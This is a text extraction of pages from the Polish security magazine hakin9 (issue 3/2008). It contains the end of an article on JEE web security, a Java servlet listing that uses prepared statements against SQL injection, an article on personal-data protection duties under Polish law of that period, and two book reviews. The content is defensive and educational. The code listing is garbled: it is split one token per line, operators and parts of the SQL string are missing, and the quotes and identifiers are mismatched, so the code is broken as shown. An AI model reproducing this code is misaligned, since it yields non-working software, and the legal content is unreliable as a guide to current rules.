mów lub przechowujemy hasła w po-
staci  niezaszyfrowanej,  to  –  niestety
–  nie  możemy  liczyć  na  wysoki  po-
ziom bezpieczeństwa. Często zdarza
się  także,  że  systemy  uwierzytelnia-
jące  w  JEE  są  zbyt  skomplikowane,
a  utrzymywanie  i  konserwacja  spra-
wiają  niemałe  kłopoty.  Pamiętajmy,
że  oprócz  bezpiecznej  strategii  liczy
się także prostota i przejrzystość. Ist-
nieje także cały szereg błędów zwią-
zanych z optymalizacją i odpowiedni-

mi zabezpieczeniami przed atakami
DoS i floodingiem, ale jest to osobny
temat, który – mam nadzieję – uda mi
się kiedyś poruszyć.

Podsumowanie

Powyższy artykuł miał za zadanie zain-
teresować Was tematyką mniej popu-
larnych języków programowania. War-
to zainteresować się innymi technolo-
giami i nie ograniczać się do stron pisa-
nych tylko i wyłącznie w PHP. W pracy
będziemy musieli przeprowadzać au-
dyt dla różnych klientów i nigdy nie bę-
dziemy wiedzieć, z jaką technologią się
spotkamy. Myślę także, że lepiej praco-
wać na zlecenie dużej firmy, której apli-

kacje tworzone są w JEE, niż przepro-
wadzać  kontrolowane  ataki  na  śred-
niej  wielkości  strony  pisane  w  PHP.
Z uwagi na ogrom zagadnień związa-
nych z bezpieczeństwem JEE nie mia-
łem  technicznej  możliwości  opisania
wszystkich  rodzajów  błędów  i  najcie-
kawszych zagadnień. Mam jednak na-
dzieję, że zainteresowałem Was tą te-
matyką i będziecie kontynuować naukę
we  własnym  zakresie.  Przedstawione
techniki  przydadzą  się  zarówno  pro-
gramistom piszącym w JEE do opraco-
wania odpowiednich zabezpieczeń, jak
i będą pomocne specjalistom ds. bez-
pieczeństwa w przygotowaniu należy-
tego wektora ataku. l

Listing 5.

Logowanie za pomocą tzw. Prepared Statements

import java.io.*;
import javax.servlet.*;
import javax.servlet.http.*;
import java.sql.*;

public

class

SQLIncjection

extends

HttpServlet

{

public

void

doGet

(

HttpServletRequest

request

HttpServletResponse

response

)

throws

ServletException

IOException

{

response

setContentType

(

"text/html"

)

;

PrintWriter

out

response

getWriter

()

;

out

println

(

"<HTML>"

)

;

out

println

(

"<HEAD><TITLE>SQLInjection to przeszlosc</TITLE></HEAD>"

)

;

out

println

(

"<BODY>"

)

;

String

user

request

getParameter

(

“

user

”

)

;

//podanie usera

String

password

request

getParameter

(

“

password

”

)

;

//podanie hasla

try

{

Connection

conn

DriverManager

getConnection

(

"jdbc:mysql://localhost/

USERNAME?user=USERNAME&password=PASSWORD"

)

;

String

sql

select

from

usernames

where

username

and

password

?”

;

PreparedStatement

prep

Conn

prepareStatement

(

sql

)

;

//przygotowanie

zapytania

prep

setString

(

user

)

;

prep

setString

(

password

)

;

ResultSet

prep

executeQuery

()

;

//wywolanie zapytania

(

())

{

out

println

(

"Zalogowano"

)

;

}

else

{

out

println

(

"Blad"

)

;

}

()

;

prep

()

;

conn

()

;

}

catch

(

SQLException

)

{

out

println

(

"Message: "

getMessage

())

;

}

O autorze

Piotr  Łaskawiec,  student  Informatyki
Stosowanej  na  Politechnice  Krakow-
skiej. Założyciel i przewodniczący Ko-
ła  Naukowego  PK  IT  Security  Group
(www.pkitsec.pl). Od wielu lat związa-
ny z tematyką bezpieczeństwa kompu-
terowego.  Pasjonat  języka  Python.  W
wolnych chwilach programuje i zajmu-
je się publicystyką.
Kontakt z autorem:
hellsource@gmail.com

W Sieci

• http://java.sun.com – strona główna

Javy,

• http://tomcat.apache.org – strona

domowa serwera Tomcat,

• http://www.eclipse.org – Eclipse IDE,
• http://java.sun.com/javaee – strona

JavaEE,

• http://java.sun.com/javase/

technologies/securit – Java Security,

• http://josephoconnell.com/java/

xss-html-filter.

www.hakin9.org

hakin9 Nr 3/2008

Bezpieczna Firma

agadnienie  bezpieczeństwa  systemów
informatycznych,  w  których  przetwa-
rza  się  dane  osobowe,  nabiera  coraz

większego znaczenia, ponieważ zakres takie-
go przetwarzania staje się coraz szerszy. Pod
pojęciem  bezpieczeństwa  teleinformatyczne-
go danych osobowych należy rozumieć ochro-
nę  poufności,  rozliczalności  i  integralności
danych  osobowych,  które  przetwarza  się
w systemie informatycznym.

bezpieczeństwo

przetwarzania

danych  osobowych  w  systemie  informatycz-
nym  odpowiada  administrator  danych.  Ad-
ministratorem  danych  jest  organ,  jednostka
organizacyjna,  podmiot  lub  osoba,  decy-
dująca  o  celach  i  środkach  przetwarzania
danych osobowych. Bezpieczeństwo teleinfor-
matyczne  danych  osobowych  należy  zapew-
nić przed rozpoczęciem oraz w trakcie prze-
twarzania  danych  osobowych.  Podstawowe
zasady  zabezpieczenia  danych  osobowych
określa  Rozdział  5  –  Zabezpieczenie  danych
osobowych ustawy o ochronie danych osobo-
wych.  Szczegółowe  wymagania  techniczne
i  organizacyjne  związane  z  przetwarzaniem
danych osobowych w systemach informatycz-
nych oraz zakres dokumentacji przetwarzania

danych  osobowych  określa  Rozporządzenie
Ministra  Spraw  Wewnętrznych  i  Administra-
cji w sprawie dokumentacji przetwarzania da-
nych osobowych oraz warunków technicznych
i organizacyjnych, jakim powinny odpowiadać
urządzenia  i  systemy  informatyczne  służące
do przetwarzania danych osobowych.

Przepisy prawa nakładają na administra-

tora  danych  szereg  obowiązków.  Podstawo-
wym  obowiązkiem  administratora  danych
jest  zastosowanie  środków  technicznych
i  organizacyjnych  zapewniających  ochro-
nę  danych  osobowych.  Zastosowane  środ-
ki  ochrony,  zgodnie  z  zasadą  adekwatno-

Bezpieczeństwo

teleinformatyczne danych

osobowych

Andrzej Guzik

stopień trudności

System informatyczny, w którym przetwarza się dane osobowe,

powinien – oprócz wymagań wynikających z przepisów prawa

– uwzględniać wymagania Generalnego Inspektora Ochrony

Danych Osobowych w zakresie struktur baz danych osobowych

oraz funkcjonalności zarządzających nimi aplikacji.

Z artykułu dowiesz się

• jak zapewnić bezpieczeństwo danym osobo-

wym, które przetwarza się w systemie informa-
tycznym.

Co powinieneś wiedzieć

• znać podstawowe zasady ochrony danych oso-

bowych.

Bezpieczeństwo teleinformatyczne danych osobowych

hakin9 Nr 3/2008

www.hakin9.org

ści,  powinny  zapewniać  ochronę
danych  osobowych  odpowiednią
do  zagrożeń  oraz  kategorii  da-
nych objętych ochroną (dane zwy-
kłe  bądź  dane  wrażliwe).  Usta-
wa  określa  następujące  zagroże-
nia  związane  z  przetwarzaniem
danych  osobowych:  udostępnie-
nie  osobom  nieupoważnionym,
zabranie  przez  osobę  nieupraw-
nioną,  przetwarzanie  z  narusze-
niem  ustawy  oraz  przypadkową

zmianę,  utratę,  uszkodzenie  lub
zniszczenie  danych  osobowych.
Wśród  środków  technicznych  słu-
żących  do  ochrony  danych  oso-
bowych  można  wymienić  środki:
sprzętowe,  programowe  (oprogra-
mowanie  systemowe,  użytkowe,
narzędziowe)  oraz  telekomunika-
cyjne  (oprogramowanie  urządzeń
teletransmisji). W celu nadzorowa-
nia  przestrzegania  zasad  ochrony
danych  osobowych  w  organizacji

wyznacza  się  administratora  bez-
pieczeństwa  informacji  (ABI).  ABI
odpowiada między innymi za: nad-
zór  nad  zakresem  dostępu  osób
upoważnionych  do  przetwarzania
danych  osobowych,  nadzór  nad
sposobem  przetwarzania  danych
osobowych  w  systemach  informa-
tycznych, kontrolę zgodności syste-
mu  informatycznego  z  wymagania-
mi określonymi w przepisach prawa
oraz za reakcję na incydenty naru-
szenia bezpieczeństwa danych oso-
bowych.

Administrator bezpieczeństwa

informacji  powinien  nadzorować,
aby do przetwarzania danych oso-
bowych były dopuszczone wyłącz-
nie osoby posiadające upoważnie-
nie  wydane  przez  administratora
danych. Osoby, które zostały upo-
ważnione  do  przetwarzania  da-
nych osobowych, zobowiązane są
do  zachowania  w  tajemnicy  tych
danych oraz sposobów ich zabez-
pieczenia.  W  jednostce  organiza-
cyjnej  powinna  być  prowadzona
ewidencja  osób  upoważnionych
do  przetwarzania  danych  osobo-
wych.  Ewidencja  ta  powinna  za-
wierać  między  innymi:  imię  i  na-
zwisko  osoby  upoważnionej,  datę
nadania i ustania oraz zakres upo-
ważnienia  do  przetwarzania  da-
nych osobowych (upoważnienie do
zbierania,  utrwalania,  przechowy-
wania,  opracowywania,  zmienia-
nia,  udostępniania  lub  usuwania
danych  osobowych)  oraz  identy-
fikator  osoby.  Dodatkowo  admini-
strator  danych  zobowiązany  jest

Przykłady nieprawidłowości przetwarzania danych

osobowych w systemach informatycznych

• nie wyznaczono administratora bezpieczeństwa informacji,
• nie dostosowano systemów informatycznych do wymagań wynikających z przepi-

sów prawa,

• nie opracowano instrukcji zarządzania systemem informatycznym służącym do

przetwarzania danych osobowych,

• nie zastosowano środków technicznych i organizacyjnych zapewniających ochro-

nę danych osobowych,

• nie określono poziomów bezpieczeństwa przetwarzania danych osobowych w

systemach informatycznych,

• nie wydano upoważnień do przetwarzania danych osobowych osobom przetwa-

rzającym dane osobowe w systemie informatycznym,

• nie nadano odrębnych identyfikatorów osobom przetwarzającym dane osobowe w

systemie informatycznym,

• nie zawarto umowy powierzenia przetwarzania danych osobowych,
• nie prowadzono ewidencji osób upoważnionych do przetwarzania danych osobo-

wych,

•   nie zgłoszono zbiorów danych osobowych do rejestracji do GIODO,
•   nie sporządzano kopii zapasowych,
•   nie zapewniono kontroli dostępu do danych osobowych.

Rysunek 1.

Operacje przetwarzania

danych osobowych

��

Podstawy prawne

• Rozdział 5 – Zabezpieczenie danych osobowych – ustawa z dnia 29 sierp-

nia 1997 r. o ochronie danych osobowych (tekst jedn. Dz. U. z 2002 r. Nr 101,
poz. 926 z późn. zm.).

• Rozporządzenie Ministra Spraw Wewnętrznych i Administracji z dnia 29

kwietnia 2004 r. w sprawie dokumentacji przetwarzania danych osobowych
oraz warunków technicznych i organizacyjnych, jakim powinny odpowiadać
urządzenia i systemy informatyczne służące do przetwarzania danych oso-
bowych (Dz. U. z 2004 r. Nr 100, poz. 1024).

• Rozporządzenie Ministra Spraw Wewnętrznych i Administracji z dnia 29

kwietnia 2004 r. w sprawie wzoru zgłoszenia zbioru do rejestracji General-
nemu Inspektorowi Ochrony Danych Osobowych (Dz. U. z 2004 r. Nr 100,
poz. 1025).

•   Zalecenia Generalnego Inspektora Ochrony Danych Osobowych:
•   Wytyczne w zakresie opracowania i wdrożenia polityki bezpieczeństwa,
•   Wskazówki  dotyczące  sposobu  opracowania  instrukcji  zarządzania  syste-

mem informatycznym, służącym do przetwarzania danych osobowych, ze
szczególnym uwzględnieniem wymogów bezpieczeństwa informacji,

• Wymagania dotyczące struktur baz danych osobowych oraz funkcjonalności

zarządzających nimi aplikacji.

hakin9 Nr 3/2008

www.hakin9.org

Bezpieczna firma

zapewnić kontrolę nad tym, jakie
dane osobowe i przez kogo zosta-
ły do zbioru danych wprowadzone
oraz komu zostały przekazane.

Dokumentacja

przetwarzania danych

Na  administratorze  danych  cią-
ży  obowiązek  opracowania  doku-
mentacji  opisującej  sposób  prze-
twarzania danych osobowych oraz
wdrożonych środków technicznych
i  organizacyjnych.  Na  dokumen-
tację  przetwarzania  danych  oso-
bowych  składa  się  polityka  bez-
pieczeństwa  danych  osobowych
oraz  instrukcja  zarządzania  sys-
temem  informatycznym  służącym
do  przetwarzania  danych  osobo-
wych.  Dokumentację  opracowu-
je  się  po  przeprowadzeniu  analizy
ryzyka z uwzględnieniem warunków
charakterystycznych  dla  jednostki
organizacyjnej,  w  której  mają  być
przetwarzane  dane  osobowe.  Ana-
lizy  ryzyka  można  dokonać  stosu-
jąc  na  przykład  metody  opisane  w
raporcie technicznym ISO/IEC TR
13335-3  Technika  informatyczna
–  Wytyczne  do  zarządzania  bez-
pieczeństwem  systemów  informa-
tycznych Część 3: Techniki zarzą-
dzania  bezpieczeństwem  syste-
mów  informatycznych.  Raport  ten
przedstawia  cztery  warianty  po-
dejścia  do  analizy  ryzyka:  podej-
ście  podstawowego  poziomu  bez-
pieczeństwa, podejście nieformal-
ne,  szczegółową  analizę  ryzyka  i
podejście  mieszane.  Podstawo-

wa różnica pomiędzy nimi dotyczy
stopnia  szczegółowości  analizy
ryzyka. W oparciu o wyniki analizy
ryzyka  dobiera  się  zabezpiecze-
nia.  Zastosowane  zabezpieczenia
powinny  być  efektywne  kosztowo
i uwzględniać wymagania wynika-
jące z przepisów prawa, wymaga-
nia biznesowe i wymagania z ana-
lizy ryzyka. Ryzyko, jakie powstaje
po  wprowadzeniu  zabezpieczeń,
nazywamy  ryzykiem  szczątko-
wym.

Polityka bezpieczeństwa da-

nych osobowych powinna zawie-
rać w szczególności dane określo-
ne w Tabeli 1. Przy konstruowaniu
polityki bezpieczeństwa danych

osobowych  należy  uwzględnić
zalecenia  Generalnego  Inspekto-
ra  Ochrony  danych  Osobowych
(GIODO) – Wytycznych w zakresie
opracowania  i  wdrożenia  polity-
ki  bezpieczeństwa  oraz  opcjonal-
nie zapisy rozdziału 7.2 - Polityka
bezpieczeństwa  instytucji  w  za-
kresie  systemów  informatycznych
i Załącznika A – Przykładowy spis
treści  polityki  bezpieczeństwa  in-
stytucji w zakresie systemów infor-
matycznych  raportu  technicznego
ISO/IEC TR 13335-3.

Instrukcja zarządzania syste-

mem  informatycznym  służącym
do  przetwarzania  danych  osobo-
wych  powinna  zawierać  w  szcze-
gólności  dane  określone  w  Tabe-
li  2.  Przy  konstruowaniu  instrukcji
należy uwzględnić zalecenia GIO-
DO - Wskazówki dotyczące sposo-
bu  opracowania  instrukcji  zarzą-
dzania systemem informatycznym,
służącym  do  przetwarzania  da-
nych  osobowych,  ze  szczególnym
uwzględnieniem wymogów bezpie-
czeństwa informacji.

Wymagania systemu

informatycznego

System  informatyczny  służący  do
przetwarzania  danych  osobowych
powinien  charakteryzować  się
określoną  funkcjonalnością  oraz

Tabela 1.

Zawartość dokumentu Polityka bezpieczeństwa danych

osobowych

Lp. Zawartość dokumentu

Polityka bezpieczeństwa danych osobowych

Wykaz budynków, pomieszczeń lub części pomieszczeń, tworzą-
cych obszar, w których przetwarzane są dane osobowe

Wykaz zbiorów danych osobowych wraz ze wskazaniem programów
zastosowanych do przetwarzania tych danych

Opis struktury zbiorów danych wskazujący zawartość poszczegól-
nych pól informacyjnych i powiązania między nimi

Sposób przepływu danych pomiędzy poszczególnymi systemami

Określenie środków technicznych i organizacyjnych niezbędnych dla
zapewnienia poufności, integralności i rozliczalności przetwarza-
nych danych

Rysunek 2.

Zarządzanie ryzykiem

��

��
��

��

��
��

��

Bezpieczeństwo teleinformatyczne danych osobowych

hakin9 Nr 3/2008

www.hakin9.org

umożliwiać sporządzenie i wydruk
raportu  dla  każdej  osoby,  której
dane  osobowe  są  przetwarzane
w  systemie.  System  powinien  za-
pewniać odnotowanie: daty pierw-
szego  wprowadzenia,  identyfika-
tora  użytkownika,  źródła  danych,
informacji  o  odbiorcach  oraz
sprzeciwu  osoby  wobec  przetwa-
rzania  jej  danych  w  przypadkach
określonych w ustawie.

Przy projektowaniu systemów

informatycznych  należy  uwzględ-
nić  zalecenia  GIODO  –  Wymaga-
nia dotyczące struktur baz danych
osobowych  oraz  funkcjonalności
zarządzających nimi aplikacji.

Poziomy

bezpieczeństwa

Rozporządzenie  Ministra  Spraw
Wewnętrznych  i  Administracji  w
sprawie dokumentacji przetwarza-
nia  danych  osobowych  oraz  wa-
runków technicznych i organizacyj-
nych,  jakim  powinny  odpowiadać
urządzenia i systemy informatycz-
ne  służące  do  przetwarzania  da-
nych  osobowych  wprowadza  trzy

poziomy bezpieczeństwa przetwa-
rzania danych osobowych: podsta-
wowy, podwyższony i wysoki.

Poziom podstawowy

Poziom  podstawowy  stosuje  się,
gdy  w  systemie  informatycznym
nie  przetwarza  się  danych  wraż-
liwych  (danych  ujawniających  po-
chodzenie  rasowe  lub  etniczne,
poglądy  polityczne,  przekonania
religijne  lub  filozoficzne,  przyna-
leżność wyznaniową, partyjną lub
związkową, dane o stanie zdrowia,
kodzie  genetycznym,  nałogach,

życiu  seksualnym,  danych  doty-
czących  skazań,  orzeczeń  o  uka-
raniu, o mandatach karnych, orze-
czeń  wydanych  w  postępowaniu
sądowym  lub  administracyjnym)
oraz  żadne  z  urządzeń  systemu
informatycznego nie jest połączo-
ne z siecią publiczną. Środki bez-
pieczeństwa  na  poziomie  podsta-
wowym określa część A załączni-
ka do rozporządzenia MSWiA.

Na poziomie podstawowym

stosuje  się  następujące  środki
ochrony: administrator danych po-
winien zapewnić fizyczną kontrolę
dostępu do obszaru przetwarzania
danych osobowych określonego w
polityce  bezpieczeństwa  danych
osobowych  oraz  logiczną  kontro-
lę dostępu do danych przetwarza-
nych  w  systemie  informatycznym,
stosując  mechanizm  w  postaci
odrębnego  identyfikatora  i  ha-
sła  do  uwierzytelniania  użytkow-
ników  systemu.  Hasła  stosowane
do  uwierzytelniania  użytkowników
powinny składać się z co najmniej
6 znaków i być zmieniane nie rza-
dziej  niż  co  30  dni.  System  infor-
matyczny  powinien  być  zabezpie-
czony  przed  oprogramowaniem
szkodliwym  oraz  utratą  danych
spowodowaną  awarią  zasilania
lub  zakłóceniami  w  sieci  zasilają-
cej.  Dane  przetwarzane  w  syste-
mie  należy  zabezpieczyć  wyko-
nując  kopie  zapasowe  –  zarówno
zbiorów  danych,  jak  i  programów.
Kopie  należy  przechowywać  w
miejscach  zabezpieczonych  przed
nieuprawnionym  przejęciem,  mo-
dyfikacją, uszkodzeniem lub znisz-
czeniem  (jak  najdalej  w  poziomie

Tabela 2.

Zawartość dokumentu Instrukcja zarządzania systemem

informatycznym służącym do przetwarzania danych osobowych

Zawartość dokumentu

Instrukcja zarządzania systemem informatycznym

służącym do przetwarzania danych osobowych

Procedury nadawania uprawnień do przetwarzania danych i reje-
strowania tych uprawnień w systemie informatycznym oraz wskaza-
nie osoby odpowiedzialnej za te czynności

Stosowane metody i środki uwierzytelnienia oraz procedury związa-
ne z ich zarządzaniem i użytkowaniem

Procedury rozpoczęcia, zawieszenia i zakończenia pracy przezna-
czone dla użytkowników systemu

Procedury tworzenia kopii zapasowych zbiorów danych oraz progra-
mów i narzędzi programowych służących do ich przetwarzania

Sposób, miejsce i okres przechowywania: elektronicznych nośników
informacji zawierających dane osobowe, kopii zapasowych zbiorów
danych

Sposób zabezpieczenia systemu informatycznego przed działalno-
ścią oprogramowania, którego celem jest uzyskanie nieuprawnione-
go dostępu do systemu informatycznego

Sposób realizacji odnotowania informacji o odbiorcach, którym da-
ne osobowe zostały udostępnione, dacie i zakresie udostępnienia,
chyba że system informatyczny używany jest do przetwarzania da-
nych w zbiorach jawnych

Rysunek 3.

Poziomy bezpieczeństwa przetwarzania danych osobowych

��

hakin9 Nr 3/2008

www.hakin9.org

Bezpieczna firma

i  w  pionie  od  miejsca  ich  wytwo-
rzenia).  W  przypadku  stosowa-
nia  komputerów  przenośnych  do
przetwarzania  danych  osobowych,
należy  zapewnić  ochronę  krypto-
graficzną  danych  osobowych  prze-
twarzanych  poza  obszarem  prze-
twarzania.

Urządzenia, dyski, elektro-

niczne nośniki informacji przezna-
czone  do  likwidacji  lub  przekaza-
nia  podmiotowi  nieuprawnionemu
należy  pozbawić  zapisu  danych
w  sposób  trwały,  a  w  przypadku
ich  naprawy  –  naprawiać  je  pod
nadzorem.

Na administratorze danych

spoczywa obowiązek monitorowa-
nia wdrożonych zabezpieczeń sys-
temu informatycznego.

Poziom podwyższony

Poziom  podwyższony  stosuje  się,
gdy  w  systemie  informatycznym
przetwarza się dane wrażliwe oraz
żadne  z  urządzeń  systemu  infor-
matycznego  nie  jest  połączone
z siecią publiczną. Środki bezpie-
czeństwa  na  poziomie  podwyż-
szonym określa część B załączni-
ka do rozporządzenia MSWiA.

Na poziomie podwyższonym

stosuje  się  –  zgodnie  z  zasadą
kaskadowości  –  środki  ochrony
właściwe  dla  poziomu  podstawo-
wego.  Dodatkowo  administrator
danych ma obowiązek wdrożyć ni-
żej  wymienione  środki  ochrony.
W  przypadku,  gdy  do  uwierzytel-
niania użytkowników systemu uży-
wa  się  hasła,  hasło  powinno  za-
wierać małe i duże litery oraz cyfry
lub  znaki  specjalne  i  składać  się
z  co  najmniej  8  znaków.  W  przy-

padku,  gdy  urządzenia  i  elektro-
niczne  nośniki  informacji  zawie-
rające  dane  osobowe  tzw.  wraż-
liwe  przekazywane  są  poza
obszar

przetwarzania,

nale-

ży  zabezpieczyć  je  w  spo-
sób  zapewniający  ochronę  po-
ufności  i  integralność  danych.
Opis  zastosowanych  środków
powinna

określać

instrukcja

zarządzania systemem informa-
tycznym służącym do przetwarza-
nia danych osobowych.

Poziom wysoki

Poziom  wysoki  stosuje  się,  gdy
przynajmniej  jedno  urządzenie
systemu informatycznego połączo-
ne  jest  z  siecią  publiczną.  Środki
bezpieczeństwa  na  poziomie  wy-
sokim określa część C załącznika
do rozporządzenia MSWiA.

Na poziomie wysokim stosu-

je  się  –  zgodnie  z  zasadą  kaska-
dowości  –  środki  ochrony  właści-
we  dla  poziomu  podwyższonego  i
poziomu podstawowego. Dodatko-

Podstawowe pojęcia związane z bezpieczeństwem

teleinformatycznym

• dane osobowe – wszelkie informacje dotyczące zidentyfikowanej lub możli-

wej do zidentyfikowania osoby fizycznej,

• administrator danych – organ, jednostka organizacyjna, podmiot lub osoba,

decydująca o celach i środkach przetwarzania danych osobowych,

• administrator bezpieczeństwa informacji – osoba nadzorująca przestrze-

ganie zasad ochrony danych osobowych,

• zbiór danych – każdy posiadający strukturę zestaw danych o charakterze

osobowym, dostępny według określonych kryteriów, niezależnie od tego,
czy zestaw ten jest rozproszony lub podzielony funkcjonalnie,

• przetwarzanie danych – jakiekolwiek operacje wykonywane na danych

osobowych, takie jak zbieranie, utrwalanie, przechowywanie, opracowy-
wanie, zmienianie, udostępnianie i usuwanie, a zwłaszcza te, które wyko-
nuje się w systemach informatycznych,

• system informatyczny – zespół współpracujących ze sobą urządzeń, pro-

gramów, procedur przetwarzania informacji i narzędzi programowych za-
stosowanych w celu przetwarzania danych,

• zabezpieczenie danych w systemie informatycznym – wdrożenie i eksplo-

atacja stosownych środków technicznych i organizacyjnych zapewniają-
cych ochronę danych przed ich nieuprawnionym przetwarzaniem,

• hasło – ciąg znaków literowych, cyfrowych lub innych, znany jedynie oso-

bie uprawnionej do pracy w systemie informatycznym,

• identyfikator użytkownika – ciąg znaków literowych, cyfrowych lub innych,

jednoznacznie identyfikujących osobę upoważnioną do przetwarzania da-
nych osobowych w systemie informatycznym

• uwierzytelnianie – działanie, którego celem jest weryfikacja deklarowanej

tożsamości podmiotu,

• poufność danych – właściwość zapewniająca, że dane nie są udostępnia-

ne nieupoważnionym podmiotom,

• rozliczalność – właściwość zapewniająca, że działania podmiotu mogą być

przypisane w sposób jednoznaczny tylko temu podmiotowi,

• integralność danych – właściwość zapewniająca, że dane osobowe nie zo-

stały zmienione lub zniszczone w sposób nieautoryzowany,

• usuwanie danych – zniszczenie danych osobowych lub taka ich modyfi-

kacja, która nie pozwoli na ustalenie tożsamości osoby, której dane doty-
czą,

• raport – przygotowane przez system informatyczny zestawienia zakresu i

treści przetwarzanych danych,

• teletransmisja – przesyłanie informacji za pośrednictwem sieci telekomuni-

kacyjnej,

• sieć publiczna – publiczna sieć telekomunikacyjna wykorzystywana głów-

nie do świadczenia publicznie dostępnych usług telekomunikacyjnych.

Tabela 3.

Poziomy bezpieczeństwa

przetwarzania danych osobowych w
systemie informatycznym

Lp. Poziomy bezpieczeństwa

przetwarzania danych

osobowych w systemach

informatycznych

podstawowy

podwyższony

wysoki

hakin9 Nr 3/2008

wo administrator danych ma obowiązek wdrożyć ni-
żej wymienione środki ochrony. System informatycz-
ny należy chronić przed zagrożeniami pochodzący-
mi z sieci publicznej poprzez wdrożenie fizycznych
lub logicznych zabezpieczeń chroniących przed nie-
uprawnionym dostępem.

W przypadku zastosowania logicznych zabezpie-

czeń  należy  zapewnić  kontrolę  przepływu  informa-
cji  pomiędzy  systemem  informatycznym  administra-
tora  danych  a  siecią  publiczną  oraz  kontrolę  dzia-
łań inicjowanych z sieci publicznej i systemu informa-
tycznego administratora danych (np. poprzez zasto-
sowanie  zapory  ogniowej).  W  przypadku,  gdy  dane
do uwierzytelniania użytkowników systemu przesyła-
ne  są  w  sieci  publicznej,  należy  zastosować  środki
ochrony kryptograficznej.

Szczegółowe informacje na temat środków ochro-

ny na poszczególnych poziomach bezpieczeństwa
określa załącznik do rozporządzenia MSWiA.

Należy zauważyć, że wyżej wymienione rozpo-

rządzenie określa minimalne wymagania w zakresie
bezpieczeństwa teleinformatycznego danych osobo-
wych.

Administrator danych może dodatkowo zastoso-

wać inne środki ochrony w celu zapewnienia bezpie-
czeństwa przetwarzania danych osobowych, niż to
wynika z wymagań określonych w ustawie i rozpo-
rządzeniu MSWiA.

Podsumowanie

Przepisy prawa określają minimalne wymagania
związane z bezpieczeństwem teleinformatycznym
danych osobowych.

Oprócz nich należy uwzględnić zalecenia Ge-

neralnego  Inspektora  Ochrony  Danych  Osobowych
dotyczące  problematyki  bezpieczeństwa  teleinfor-
matycznego  danych  osobowych  oraz  polskie  normy
dotyczące  bezpieczeństwa  informacji,  które  stano-
wią źródło tzw. dobrych praktyk, a w szczególności:
PN-ISO/IEC  17799:  2007  Technika  informatyczna
– Techniki bezpieczeństwa – Praktyczne zasady za-
rządzania bezpieczeństwem informacji i PN-ISO/IEC
27001: 2007 Technika informatyczna – Techniki bez-
pieczeństwa  –  Systemy  zarządzania  bezpieczeń-
stwem informacji – Wymagania. l

O autorze

Audytor systemów zarządzania jakością i zarządzania bez-
pieczeństwem informacji, specjalista w zakresie ochrony in-
formacji prawnie chronionych, redaktor portalu www.ochrona-
informacji.pl
Kontakt z autorem: a.guzik@ochronainformacji.pl

hakin9 Nr 3/2008

www.hakin9.org

Księgozbiór

Tytuł: Cisco PIX. Firewalle

Autorzy: zespół autorów

Wydawca: Helion

Rok wydania w Polsce: 2006

Liczba stron: 544

Jedna  z  niewielu  pozycji  książkowych,  która  w  sposób
bardzo  szczegółowy  podchodzi  do  tematu  firewalli  PIX
firmy Cisco. W początkowych rozdziałach tej książki omó-
wione  zostały  teoretyczne  podstawy  bezpieczeństwa
zapór  sieciowych.  Na  uwagę  zasługuje  ukazanie  –  na
przykładzie  Cisco  Wheel  –  procesowego  podejścia  do
bezpieczeństwa, które staje się bardzo popularne i zosta-
nie  standardem  nie  tylko  dla  urządzeń  produkowanych
przez Cisco. Dla raczkujących w dziedzinie zabezpieczeń
przeznaczony  jest  opis  certyfikatów  Cisco  dotyczących
firewalli, co zapewne pomoże takim użytkownikom wybrać
właściwą drogę rozwoju. Kolejne rozdziały zawierają już
bardziej praktyczne informacje. Dotyczą one posługiwania
się  samymi  firewallami  oraz  ich  działania,  licencjonowa-
nia, protokołów transmisji czy też komunikacji z tymi urzą-
dzeniami. W dalszej części tekstu można prześledzić funk-
cjonowanie ASDM – czyli przyjaznego menu, służącego
do konfiguracji i monitorowania urządzenia bezpośrednio

z sieci. W książce znajdziemy również wiele informacji na
temat bezpiecznej konfiguracji VPN. Całość jest doskona-
le skomponowana, o czym świadczy dobre uzupełnienie
materiałów  praktycznych  o  niezbędne  informacje  teore-
tyczne. Jest to jedna z tych pozycji, którą dla powiększenia
swojej  wiedzy  można  przeczytać  od  początku  do  końca
lub  odnosząc  się  tylko  do  poszczególnych  rozdziałów,  z
których każdy stanowi niezależną całość. Wielokrotnie w
swojej codziennej pracy sięgałem do tej książki, stanowi
ona  uzupełnienie  mojej  wiedzy  w  zakresie  firewalli  PIX.
Książka zawiera bardzo wyczerpujący opis firewalli PIX,
metod ich konfiguracji oraz administracji nimi. Wszystko to
zostało  opisane  w  sposób  wyjątkowo  czytelny,  w  zrozu-
mieniu tekstu pomoże szeroki zestaw screenshotów, sche-
matów oraz przykładów sesji terminalowych urządzenia.
To bardzo przydatna książka, którą powinien mieć każdy
administrator zarządzający firewallami PIX.

Jarosław Peterko

Tytuł: Windows Server 2003. Bezpieczeństwo sieci

Autorzy: Neil Ruston, Chris Peiris, Laura Hunter

Wydawca: Helion

Rok wydania w Polsce: 2007

Liczba stron: 584

Książka Windows Server 2003. Bezpieczeństwo sieci to
kompendium wiedzy na temat tego systemu operacyjne-
go w aspekcie bezpieczeństwa sieci. Publikacja jest adre-
sowana do administratorów oraz osób projektujących sieci
komputerowe. Książka ta bardzo dobrze ukazuje problema-
tykę bezpieczeństwa sieci w środowiskach opartych o system
Windows Server 2003. Autorzy krok po kroku wprowadzają
w coraz ważniejsze i bardziej skomplikowane mechanizmy
zabezpieczeń,  wspierając  Czytelnika  przykładami  konfigu-
racji systemu. Publikacja zawiera informacje, które pozwo-
lą  na  zaprojektowanie  oraz  funkcjonowanie  bezpiecznego
środowiska.  Zawarte  zostały  również  informacje  odnośnie
zaprojektowania bezpiecznej infrastruktury klienckiej. Książ-
ka przedstawia także metody wykrywania naruszeń bezpie-
czeństwa oraz schemat postępowania w takich sytuacjach.
Czytelnik znajdzie tu kompletne informacje na temat zabez-
pieczenia sieci od podstaw, jak również szczegółowe dane
na temat usług zaimplementowanych w systemie Windows

Server 2003 w kontekście zabezpieczeń. Autorzy rozpoczy-
nają książkę od omówienia podstaw bezpieczeństwa obo-
wiązujących dla wszystkich środowisk serwerowych, których
zrozumienie  umożliwia  projektowanie  bezpiecznych  sieci.
W  dalszej  części  publikacji  zostają  szczegółowo  omówio-
ne mechanizmy zabezpieczeń dla usług sieciowych, którymi
dysponuje Windows Server 2003. Przykładem usługi, która
została opisana w książce, jest IIS. Od niedawna usługa IIS
zdobywa coraz większą popularność, książka zawiera infor-
macje  pozwalające  zabezpieczyć  witrynę  opartą  o  Active
Server  Pages.  Moim  zdaniem  wśród  opisanych  rozwiązań
praktycznych  brakuje  szerszego  przedstawienia  problemu
bezpieczeństwa  usług  terminalowych  oraz  protokołu  RDP,
które to usługi są coraz szerzej wykorzystywane.

